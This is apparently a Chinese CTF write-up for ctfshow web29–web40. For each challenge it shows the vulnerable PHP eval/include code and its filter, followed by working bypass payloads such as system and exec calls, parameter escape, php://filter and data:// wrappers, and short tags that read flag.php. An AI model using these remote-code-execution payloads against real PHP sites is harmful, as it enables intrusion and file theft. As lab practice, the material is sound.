• ctfshow web29-web40


    命令执行

    看清都过滤了些什么!!

    知识点:

    web34:当;和()被过滤了就用语言结构,一般有echo print isset unset include require

    web37:data协议是将后面的字符串当成php代码执行,例如 /?c=data://text/plain,

    web38:短标签/?c=data://text/plain,

    web29(shell指令)

    代码审计

    1. error_reporting(0);
    2. if(isset($_GET['c'])){
    3. $c = $_GET['c'];
    4. if(!preg_match("/flag/i", $c)){
    5. eval($c);
    6. }
    7. }else{
    8. highlight_file(__FILE__);
    9. }

    分析上面的php代码可知 如果传递了c变量,它将被赋值给变量$c,又因为有正则表达式, 检查变量$c中是否包含字符串"flag"(不区分大小写)

    如果变量$c中不包含字符串"flag",则执行eval($c);,将$c作为PHP代码进行解析和执行

    试了?c=任意字符不对

    1.查看phpinfo

    phpinfo() 是 PHP 中的一个函数,用于显示 PHP 运行环境的配置信息。该函数可以显示 PHP 的版本信息、编译器信息、模块信息、配置信息等,可以帮助开发者了解 PHP 的运行环境和配置信息。

    1. /?c=phpinfo();
    2. /?c=phpinfo()?>

    2.查看目录

    system

    /?c=system(ls);

    发现存在flag.php

    3.尝试使用shell指令查看flag

    ///将flag.php复制到1.txt

    执行后无回显

    ?c=system("cp fla?.php 1.txt");

    查看flag

    /1.txt

    web30(exec)

    代码审计

    1. error_reporting(0);
    2. if(isset($_GET['c'])){
    3. $c = $_GET['c'];
    4. if(!preg_match("/flag|system|php/i", $c)){
    5. eval($c);
    6. }
    7. }else{
    8. highlight_file(__FILE__);
    9. }

    过滤了flag,system,php

    解法一:

    这里用exec执行函数,虽然exec对执行结果不输出,但是不代表不可以查看flag,这里用函数执行复制(将flag复制给1.txt,直接用浏览器访问1.txt),由于flag被过滤,这里用通配符表示

    /?c=exec('cp fla* 1.txt');

    用passthru函数执行命令 也可以查看目录

    /?c=passthru('ls');

    下面这个也可以查出目录,注意是``` 不是'''

    /?c=echo `ls`;

    方法二:

    /?c=echo `cat ????.???`;

    但没有返回结果,可能是php文件将flag当变量解析了

    类似于这样

    同样将原本的flag.php重命名

    /?c=echo `cat ????.??? >> 1.txt`;

    再查看1.txt就有flag了回显了

    知识点:

    直接/?c=`cp fla?.??? 1.ttx`;也是可以的``相当于system

    php执行系统外部命令函数:exec()、passthru()、system()、shell_exec()
    web31

    代码审计

    1. php
    2. error_reporting(0);
    3. if(isset($_GET['c'])){
    4. $c = $_GET['c'];
    5. if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
    6. eval($c);
    7. }
    8. }else{
    9. highlight_file(__FILE__);
    10. }

    过滤了flag system php cat sort shell \. 空格 \'

    空格都过滤了

    做题思路就是绕过过滤

    嵌套异或逃逸:eval()

    &符号作为连接并且,使用get的1作为一个参数,传给c,再给1一个赋值,这样就可以跳过对c的过滤。

    这里1就相当于参数逃逸出去了,不属于c

    eval() 函数用来执行一个字符串表达式,并返回表达式的值。 无回显

    /?c=eval($_GET[1]);&1=system('ls');

    下一步

    /?c=eval($_GET[1]);&1=system('cat flag.php');

    还是无回显,源代码中查看

    还可以用cat的倒叙tac

    /?c=eval($_GET[1]);&1=system('tac flag.php');

    会直接显示在页面不用查看源代码

    相当于借助了一个跳板,让他执行参数1的值,参数1就脱离了对参数c的正则判断

    web32

    代码审计

    1. error_reporting(0);
    2. if(isset($_GET['c'])){
    3. $c = $_GET['c'];
    4. if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
    5. eval($c);
    6. }
    7. }else{
    8. highlight_file(__FILE__);
    9. }

    过滤了"/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i"

    绕过flag 、system、php、cat、sort、shell、. 、空格、’、` 、echo、;、括号

    括号也被过滤了,web31的方法行不通

    文件包含include()

    /?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    php://filter/convert.base64-encode/resource是过滤器也是伪协议,意思是通过指定的通道来读取某个文件

    分析:

    ?c=include%0a$_GET[1]?>:通过GET请求传递参数"c",并使用include函数来包含指定的文件。在这个payload中,使用"%0a"来表示换行符"\n",使得$_GET[1]能够被解析为一个新的变量。最终的目的是执行从GET参数"1"中获取的文件路径。

    1=php://filter/convert.base64-encode/resource=flag.php:使用GET请求传递参数"1",该参数的值为php://filter/convert.base64-encode/resource=flag.php。这是一种特殊的文件包含方式,其中php://filter用于对文件进行过滤和转换,convert.base64-encode表示将文件内容进行Base64编码,而resource=flag.php指定了要读取的文件为flag.php。

    二者用&连接,参数"1"可变,前后要一致

    /?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    利用文件包含,将flag.php包含进来。再使用过滤器,base64编码读取flag

    filter:通过指定的通道来读取指定的文件
    这里使用base64读取
    不用base64读不到源文件

    之后base64解码

    ctfshow{8056c2ba-9a09-4b94-acdd-20c2030d6e2e}
    web33

    代码审计

    1. error_reporting(0);
    2. if(isset($_GET['c'])){
    3. $c = $_GET['c'];
    4. if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
    5. eval($c);
    6. }
    7. }else{
    8. highlight_file(__FILE__);
    9. }

    过滤了

    绕过 flag system php cat sort shell . ’ ` echo ; ( " 空格的过滤

    同web32,既然过滤了括号就用include(文件包含)

    (注意一个自己经常犯的错误就是将0输成字母o)

    /?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    得到base64编码后解码

    flag

    ctfshow{1a7bb049-5a66-4b3b-bdd5-a18fdc588e86}

    也可以不用include

    require
    /?c=require%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    web34

    代码审计

    1. error_reporting(0);
    2. if(isset($_GET['c'])){
    3. $c = $_GET['c'];
    4. if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
    5. eval($c);
    6. }
    7. }else{
    8. highlight_file(__FILE__);
    9. }

    过滤了flag system php cat shell sort . ’ ` echo ; : "

    过滤了括号,同web32用include

    /?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    base64解码得flag

    ctfshow{7772b93d-741a-4162-bce5-2715b5f968da}
    web35

    代码审计

    1. error_reporting(0);
    2. if(isset($_GET['c'])){
    3. $c = $_GET['c'];
    4. if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
    5. eval($c);
    6. }
    7. }else{
    8. highlight_file(__FILE__);
    9. }

    过滤了 flag system php cat sort shell . 空格 ' ` echo ;( : " < =

    这次多了<=

    同web34用include

    /?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    base64编码解码得flag

    ctfshow{bd3a8999-bebb-4891-b65c-71cfce527138}
    web36

    代码审计

    1. error_reporting(0);
    2. if(isset($_GET['c'])){
    3. $c = $_GET['c'];
    4. if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
    5. eval($c);
    6. }
    7. }else{
    8. highlight_file(__FILE__);
    9. }

    过滤了flag system php cat sort shell . 空格 ' ` echo ; ( : "< = / [0-9]

    数字也被过滤了,但在web32中提过,参数1是可变的,前后一致即可

    还是用include

    将参数1换成参数a
    /?c=include%0A$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

    base64解码

    33360a68-e0fd-40dc-8d5e-4a8a28ef3cc1
    web37

    代码审计

    1. //flag in flag.php
    2. error_reporting(0);
    3. if(isset($_GET['c'])){
    4. $c = $_GET['c'];
    5. if(!preg_match("/flag/i", $c)){
    6. include($c);
    7. echo $flag;
    8. }
    9. }else{
    10. highlight_file(__FILE__);
    11. }

    题目 说flag in flag.php ,并且使用include包含输入

    过滤了flag

    新知识:

    data协议:

    text/plain,

    将后面的字符串当php代码执行

    /?c=data://text/plain,<?php system('cp fla?.php 1.txt');?>

    将flag.php的内容复制到1.txt中,也可以mv fla?.php 1.txt

    查看1.txt

    ctfshow{1cf13af4-3a5e-4440-aeb8-0e19523c36c7}

    知识点:data伪协议的利用

    web38

    代码审计

    1. error_reporting(0);
    2. if(isset($_GET['c'])){
    3. $c = $_GET['c'];
    4. if(!preg_match("/flag|php|file/i", $c)){
    5. include($c);
    6. echo $flag;
    7. }
    8. }else{
    9. highlight_file(__FILE__);
    10. }

    过滤了flag php file

    试了/?c=data://text/plain,php system("cp fla* 1.txt");?>

    对啊 php被过滤了

    将php换成= 变成短标签

    /?c=data://text/plain,<?=system("cp fla* 1.txt");?>

    查看1.txt拿到flag

    ctfshow{fb22ff01-0402-4424-a89a-13f32d3d12e4}
    web39

    代码审计

    1. //flag in flag.php
    2. error_reporting(0);
    3. if(isset($_GET['c'])){
    4. $c = $_GET['c'];
    5. if(!preg_match("/flag/i", $c)){
    6. include($c.".php");
    7. }
    8. }else{
    9. highlight_file(__FILE__);
    10. }

    过滤了flag

    用data协议

    /?c=data://text/plain,<?php system("ls");?>

    tac 反向输出flag

    /?c=data://text/plain,<?php system("tac fla?.php");?>

    ctfshow{fbb2671b-e664-4f62-850e-6d76c00ccfc6}

    看着有点眼熟,方法跟web37一样

    php代码上有一点点不一样

    include($c); echo $flag; 和include($c.".php");

    web40

    代码审计

    1. if(isset($_GET['c'])){
    2. $c = $_GET['c'];
    3. if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    4. eval($c);
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    过滤了[0-9] ~ ` @ # \$ % ^ & * ( ) - = + { [ ] } : ' " , < . > / ? \\

    一眼看去过滤了好多符号,没有过滤字母

    有提示:show_source(next(array_reverse(scandir(pos(localeconv()))))); GXYCTF的禁止套娃 通过cookie获得参数进行命令执行

    1. c=session_start();system(session_id());
    2. passid=ls

    提示就有payload:

    /?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

    ctfshow{e4d160e6-924f-4e8d-bd4f-fd3084875a3c}

    自己的方法:

    拿到当前的变量

    /?c=print_r(get_defined_vars());

    有点不一样

    /?c=print_r(next(get_defined_vars()));

    /?c=print(array_pop(next(get_defined_vars())));

    显示php版本

    让他执行一下

    /?c=eval(array_pop(next(get_defined_vars())));

    博主是可以出来的,但我不可以

    执行成功可以rce

  • 相关阅读:
    今日AI:GPT-4.5意外曝光可能6月发布、UP主借AI识别情绪播放量186万、全球首个AI程序员诞生
    听GPT 讲Rust源代码--library/std(3)
    Python学习六(进程)
    月入18000,0基础转行软件测试,实现薪资翻倍我只用了135天
    软设之安全防范体系
    SEO外语网站批量翻译软件
    [供应链·案例篇]疫情影响下的全球十大零售商都做了些什么
    Linux 运维工程师面试真题-3-Linux 磁盘及软件管理操作
    重修之Java-基础篇-数据类型和运算符
    GDPU 数据结构 天码行空7
  • 原文地址:https://blog.csdn.net/m0_73721944/article/details/138078771